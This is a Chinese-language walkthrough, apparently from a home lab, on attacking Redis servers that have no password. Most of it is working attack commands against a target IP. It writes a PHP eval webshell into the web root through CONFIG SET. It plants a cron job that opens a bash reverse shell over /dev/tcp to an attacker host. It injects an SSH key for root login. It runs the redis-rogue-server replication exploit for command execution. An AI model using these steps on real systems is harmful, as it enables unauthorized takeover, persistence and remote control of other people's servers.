Redis是一个开源的高性能键值数据库。最热门的NoSq数据库之一,也被人们称为数据结构服务器。
默认端口:6379
可能存在的漏洞:未授权访问、主从复制
未设置密码或者设置弱密码
bind 127.0.0.1 被注释了,所有机器都可以访问 protected-mode no 关闭安全模式 使用root权限 等
(被攻击机器)靶机安装好一个redis后,修改redis.conf后以root权限启动。
(1)获取数据库信息
redis-cli -h 192.168.31.152
即可成功进入到目标(192.168.31.152)redisl
查看redis版本相关信息,也判断是否存在密码
info
成功显示信息代表没有密码
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
CONFIG GET dir #设置目录 CONFIG GET dbfilename #设置文件名
(2)写webshell
config set dir /var/www/html/ #切换目录到网站的根目录(根据实际情况来) set x "\n\n\n<?php phpinfo();?>\n\n\n" #写入恶意代码phpinfo() set xx "\n\n\n<?php @eval($_POST['-7']);?>\n\n\n" #写入一句话木马 config set dbfilename shell.php #生成木马文件shell.php save #进行保存
成功写入到目标机
(3)写定时任务反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 9999 #攻击机监听自己的7999端口 redis-cli -h 192.168.31.152 #进入对方redis set xx "\n* * * * * bash -i >& /dev/tcp/192.168.31.116/7999 0>&1\n" #设置变量值为反弹shell语句 config set dir /var/spool/cron/ #设置目录为目标机定时任务目录 config set dbfilename root #设置文件名 save #保存
写入成功
但是一直nc没有接收到
查了下是因为存在乱码,centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码,所以导致命令执行失败 推荐可以亲自验证一下
(4)写入Linux ssh-key公钥,然后通过私钥直接登录。
攻击机:192.168.31.116
生成密钥
ssh-keygen -t rsa
将公钥内容导出到文本中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
写入目标机器
cat key.txt | redis-cli -h 192.168.31.152 -x set xxx
设置路径、文件名保存,路径根据实际情况来改动
写入成功
ssh -i id_rsa 192.168.31.152
登录成功
主从复制存在漏洞的版本
Redis <= 5.0.5
docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
Redis是一个使用ANSIC编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。
但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。
利用脚本
https://github.com/n0b0dyCN/redis-rogue-server
运行后可直接进行命令执行
python3 redis-rogue-server.py --rhost 192.168.31.152 --lhost 192.168.31.146 --exp=exp.so
脚本相关,看github上的脚本介绍即可。